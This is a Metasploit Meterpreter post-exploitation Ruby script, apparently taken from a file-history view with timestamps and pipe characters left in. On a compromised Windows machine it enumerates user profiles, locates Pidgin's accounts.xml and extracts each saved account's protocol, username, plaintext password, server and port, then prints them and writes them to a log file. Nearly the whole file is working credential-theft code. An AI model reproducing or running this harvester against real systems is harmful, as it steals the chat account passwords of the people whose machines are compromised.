2010-01-26 21:12:13 +01:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
2010-01-14 04:23:47 +01:00
|
|
|
require "rexml/document"
|
|
|
|
|
|
|
|
#-------------------------------------------------------------------------------
|
|
|
|
#Options and Option Parsing
|
|
|
|
opts = Rex::Parser::Arguments.new(
|
|
|
|
"-h" => [ false, "Help menu." ]
|
|
|
|
)
|
|
|
|
|
|
|
|
opts.parse(args) { |opt, idx, val|
|
|
|
|
case opt
|
|
|
|
when "-h"
|
|
|
|
print_line "Meterpreter Script for extracting configured services with username and passwords."
|
|
|
|
print_line(opts.usage)
|
|
|
|
raise Rex::Script::Completed
|
|
|
|
end
|
|
|
|
}
|
|
|
|
#-------------------------------------------------------------------------------
|
|
|
|
#Set General Variables used in the script
|
|
|
|
@client = client
|
|
|
|
os = @client.sys.config.sysinfo['OS']
|
|
|
|
host = @client.sys.config.sysinfo['Computer']
|
|
|
|
# Create Filename info to be appended to downloaded files
|
|
|
|
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")+"-"+sprintf("%.5d",rand(100000))
|
|
|
|
# Create a directory for the logs
|
|
|
|
logs = ::File.join(Msf::Config.log_directory, 'winenum', host + filenameinfo )
|
|
|
|
# Create the log directory
|
|
|
|
::FileUtils.mkdir_p(logs)
|
|
|
|
#logfile name
|
|
|
|
dest = logs + "/" + host + filenameinfo + ".txt"
|
|
|
|
#-------------------------------------------------------------------------------
|
|
|
|
#function for checking of Pidgin profile is present
|
|
|
|
def check_pidgin(path)
|
|
|
|
found = nil
|
|
|
|
@client.fs.dir.foreach(path) do |x|
|
|
|
|
next if x =~ /^(\.|\.\.)$/
|
|
|
|
if x =~ (/.purple/)
|
|
|
|
found = true
|
|
|
|
end
|
|
|
|
end
|
|
|
|
return found
|
|
|
|
end
|
|
|
|
#-------------------------------------------------------------------------------
|
|
|
|
#function for extracting the credentials
|
|
|
|
def extract_creds(path)
|
|
|
|
accounts_xml = ""
|
|
|
|
creds = ""
|
|
|
|
print_status("Reading accounts.xml file...")
|
|
|
|
account_file = @client.fs.file.new(path + "\\.purple\\accounts.xml", "rb")
|
|
|
|
until account_file.eof?
|
|
|
|
accounts_xml << account_file.read
|
|
|
|
end
|
|
|
|
account_file.close
|
|
|
|
doc = (REXML::Document.new accounts_xml).root
|
|
|
|
doc.elements.each("account") {|element|
|
|
|
|
print_status("\tProtocol: #{element.elements["protocol"].text}")
|
|
|
|
creds << "#{element.elements["protocol"].text}"
|
|
|
|
print_status("\tUsername: #{element.elements["name"].text}")
|
|
|
|
creds << ":#{element.elements["name"].text}"
|
|
|
|
if element.elements["password"]
|
|
|
|
print_status("\tPassword: #{element.elements["password"].text}")
|
|
|
|
creds << ":#{element.elements["password"].text}\n"
|
|
|
|
else
|
|
|
|
print_status("\tPassword not Saved!")
|
|
|
|
creds << ":"
|
|
|
|
end
|
|
|
|
print_status("\tServer: #{element.elements["settings"].elements["setting[@name='server']"].text}")
|
|
|
|
creds << ":#{element.elements["settings"].elements["setting[@name='server']"].text}"
|
|
|
|
print_status("\tPort: #{element.elements["settings"].elements["setting[@name='port']"].text}")
|
|
|
|
creds << ":#{element.elements["settings"].elements["setting[@name='port']"].text}"
|
|
|
|
print_status()
|
|
|
|
return creds
|
|
|
|
}
|
|
|
|
end
|
|
|
|
#-------------------------------------------------------------------------------
|
|
|
|
#Function to enumerate the users if running as SYSTEM
|
|
|
|
def enum_users(os)
|
|
|
|
users = []
|
|
|
|
userinfo = {}
|
|
|
|
user = @client.sys.config.getuid
|
|
|
|
path4users = ""
|
|
|
|
sysdrv = @client.fs.file.expand_path("%SystemDrive%")
|
|
|
|
if os =~ /7|Vista|2008/
|
|
|
|
path4users = sysdrv + "\\users\\"
|
|
|
|
path2purple = "\\AppData\\Roaming\\"
|
|
|
|
else
|
|
|
|
path4users = sysdrv + "\\Documents and Settings\\"
|
|
|
|
path2purple = "\\Application Data\\"
|
|
|
|
end
|
|
|
|
if user == "NT AUTHORITY\\SYSTEM"
|
|
|
|
print_status("Running as SYSTEM extracting user list..")
|
|
|
|
@client.fs.dir.foreach(path4users) do |u|
|
|
|
|
next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini)$/
|
|
|
|
userinfo['username'] = u
|
|
|
|
userinfo['userpath'] = path4users + u
|
|
|
|
users << userinfo
|
|
|
|
end
|
|
|
|
else
|
|
|
|
uservar = @client.fs.file.expand_path("%USERNAME%")
|
|
|
|
userinfo['username'] = uservar
|
|
|
|
userinfo['userpath'] = path4users + uservar + path2purple
|
|
|
|
users << userinfo
|
|
|
|
end
|
|
|
|
return users
|
|
|
|
end
|
|
|
|
#-------------------------------------------------------------------------------
|
|
|
|
# Function for writing results of other functions to a file
|
|
|
|
def filewrt(file2wrt, data2wrt)
|
|
|
|
output = ::File.open(file2wrt, "a")
|
|
|
|
if data2wrt
|
|
|
|
data2wrt.each_line do |d|
|
|
|
|
output.puts(d)
|
|
|
|
end
|
|
|
|
end
|
|
|
|
output.close
|
|
|
|
end
|
|
|
|
################## MAIN ##################
|
|
|
|
print_status("Running Meterpreter Pidgin Credential harvester script")
|
|
|
|
print_status("All services are loged at #{dest}")
|
|
|
|
enum_users(os).each do |u|
|
|
|
|
print_status("Checking if Pidgin profile is present for user #{u['username']}...")
|
|
|
|
if check_pidgin(u['userpath'])
|
|
|
|
print_status("Pidging profile found!")
|
|
|
|
filewrt(dest,extract_creds(u['userpath']))
|
|
|
|
else
|
|
|
|
print_error("Pidging profile not found!")
|
|
|
|
end
|
|
|
|
end
|